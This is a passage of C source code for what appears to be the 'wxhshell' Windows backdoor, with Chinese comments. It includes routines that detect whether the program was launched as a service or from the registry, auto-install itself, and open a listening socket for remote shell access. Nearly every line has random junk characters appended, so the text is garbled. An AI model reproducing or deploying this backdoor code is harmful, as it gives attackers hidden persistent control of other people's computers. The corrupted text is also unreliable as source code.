ULONG UniqueProcessId; 8SR ~{
ULONG InheritedFromUniqueProcessId; u6j\@U6 I
} PROCESS_BASIC_INFORMATION; |5^tp
0j@gC0xu)|
PROCNTQSIP NtQueryInformationProcess; V*U{q%p(
gmd-$%"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hi^@969
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $9)| cO
E]/` JI'%
HANDLE hProcess; >,wm-4&E
PROCESS_BASIC_INFORMATION pbi; ~H`~&?
6qp2C]9=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [<CIh46S.
if(NULL == hInst ) return 0; uY{V^c#mv
WrP4*6;"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MZ]#9/
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w_4/::K*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '@t}8J
qD0sD2 x
if (!NtQueryInformationProcess) return 0; !(QDhnx}9c
g?-HAk6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3z5w}qN]M
if(!hProcess) return 0; tj<a , l
;c};N(2
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ) bRj'*
t{A/Lq9AM
CloseHandle(hProcess); <?h`
2g?O+'JD
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1VRexp
if(hProcess==NULL) return 0; SY &)?~C
oVDqX=G
HMODULE hMod; N3 O~_=/v?
char procName[255]; gN./u
unsigned long cbNeeded; +eT1/x0
bvpP/LeY
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \l$gcFXb
~Q4 emgBD
CloseHandle(hProcess); Rd#V,[d
U TT 7a"
if(strstr(procName,"services")) return 1; // 以服务启动 [,_4#Zz
X%1j-;Wr@
return 0; // 注册表启动 Qqju6} +
} ~_|OGp_a
ciQG.]
// 主模块 ~x}/>-d
int StartWxhshell(LPSTR lpCmdLine) #A&(b}#:o
{ pz L !42
SOCKET wsl; 5yC$G{yV
BOOL val=TRUE; I)9un|+,y
int port=0; Nhq&Sn2
struct sockaddr_in door; %x Xib9J
8`edskWrU
if(wscfg.ws_autoins) Install(); 8
oK;Tzh
$%*E)~
port=atoi(lpCmdLine); H?ZlJ|/c
eYJ6&).F
if(port<=0) port=wscfg.ws_port; 3>jL7sh%|
qJ\tc\
WSADATA data; Ai99:J2k
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?hW?w$C
u2p5*gzZ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }digw(
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +@
'(N
door.sin_family = AF_INET; G'*_7HD
door.sin_addr.s_addr = inet_addr("127.0.0.1"); h"b;e2
door.sin_port = htons(port); {u/G!{N$
% FN3/iM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J?Y1G<&
closesocket(wsl); ulc m
return 1; yS*s[vT
} 7.-g=Rcz
|sa{!tKJ
if(listen(wsl,2) == INVALID_SOCKET) { < C{-ph
closesocket(wsl); &3jq'@6
return 1; '/Y
D$*,
} 2<